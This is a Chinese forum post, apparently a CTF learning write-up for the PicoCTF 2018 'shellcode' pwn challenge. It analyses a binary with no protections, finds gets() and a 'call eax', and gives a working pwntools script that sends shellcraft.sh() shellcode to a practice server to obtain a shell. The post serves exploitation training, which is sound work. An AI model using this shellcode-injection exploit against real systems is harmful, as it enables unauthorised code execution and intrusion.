登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
关于
导读
排行榜
资讯
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
写记录
写博客
小组
VIP申请
VIP网盘
网盘
联系我们
发帖说明
道具
勋章
任务
淘帖
动态
分享
留言板
导读
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
安全
›
PWN手的成长之路-04-PicoCTF_2018_shellcode
PWN手的成长之路-04-PicoCTF_2018_shellcode
[ 复制链接 ]
数察啜
2025-9-29 21:33:00
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。
file 查看文件。32位的 ELF 可执行文件。
checksec 查看文件安全属性。没开任何保护。
NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。
IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。
看 main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。
仔细查看 main 函数。
程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。
反编译 vuln 函数,猜测 a1 会被加载到 eax 寄存器中。
因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。
exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。
from pwn import *
r=remote('node5.buuoj.cn',26081)
context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
print(shellcode)
r.send(shellcode)
r.interactive()
复制代码
最终得到交互式 shell
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
PWN
成长
之路
PicoCTF
2018
相关帖子
PWN手的成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出
PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
第九届强网杯线上赛PWN_flag-market
pwn中常用函数
pwn中常用函数
架构之路(五):忘记数据库
⚠️登录认证功能的成长过程:整体概述
全真教与梅超风 谈程序员的修炼之路
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
相关推荐
安全
PWN手的成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出
4
213
这帜
2025-10-22
安全
PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
2
301
浦乐
2025-10-22
科技
第九届强网杯线上赛PWN_flag-market
4
70
梁丘眉
2025-10-24
安全
pwn中常用函数
2
712
缑娅瑛
2025-10-28
安全
pwn中常用函数
2
849
仰翡邸
2025-10-28
业界
架构之路(五):忘记数据库
0
292
颜才
2025-10-31
业界
⚠️登录认证功能的成长过程:整体概述
4
588
祝安芙
2025-11-24
业界
全真教与梅超风 谈程序员的修炼之路
0
592
窟聿湎
2025-11-29
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
签约作者
程序园优秀签约作者
发帖
数察啜
2025-9-29 21:33:00
关注
0
粉丝关注
17
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
anyue1937
9994893
kk14977
6845357
3934307807
991124
4
xiangqian
638210
5
韶又彤
9998
6
宋子
9983
7
闰咄阅
9993
8
刎唇
9993
9
俞瑛瑶
9998
10
蓬森莉
9951
查看更多
今日好文热榜
586
python3.13 3.14 新特性 好好好
780
Python新利器:用uv轻松管理venv虚拟环境和
953
Open-AutoGLM项目衍生自研app测试思路
179
.Net-Avalonia学习笔记(目录)
435
PoloAPI 绘画接口全攻略:从参数详解到实战
144
剑指offer-50、数组中重复的数字
178
嫌 Google 的 TCREI 太复杂?RACE 会更适合
975
Spring Boot中HTTP请求参数转换和请求体JSO
530
AI手机的“简单替换陷阱”与Hadoop、Cloude
474
用C#重现Gin风格:极简、效率与可扩展性设
241
AI运动识别插件-APP版新版特性速览
776
NetBox 自动化导入资产 - IP地址
80
在调度的花园里面挖呀挖
766
ACP:让 AI 编程工具配置从此告别碎片化 —
862
画高保真原型图用什么软件?产品经理与设计
67
企业数字化转型如何破局?看这三大招
752
解决 iOS 上 Swiper 滑动图片闪烁问题:原
425
OpenCV (C++) 提速技巧(以Haar小波变换为
210
Claude Code 使用 Skills
671
资源总是不够用?这次,我用一套系统盘活了